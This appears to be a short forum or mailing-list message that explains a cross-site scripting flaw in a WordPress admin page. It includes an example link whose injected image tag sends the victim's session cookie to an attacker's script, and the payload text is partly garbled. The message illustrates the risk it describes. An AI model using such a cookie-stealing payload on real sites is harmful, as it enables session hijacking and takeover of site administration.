Yes, but that's where this is XSS problem.

For example, I make a comment on your blog like this (I dunno if I could
actually manage to get it into a comment thanks to kses, but it could also
be accomplished by getting you to visit a site where I have the link or

<a href="http://yousite.com/wp/wp-admin/templates.php?file=<img
okie.php?'+document.cookie;>">Check out this cool site!</a>

If you click it, it'll take you to your admin area and send your cookie
contents to the hacker. Allowing them to get into the admin area of your
site and do as they please.
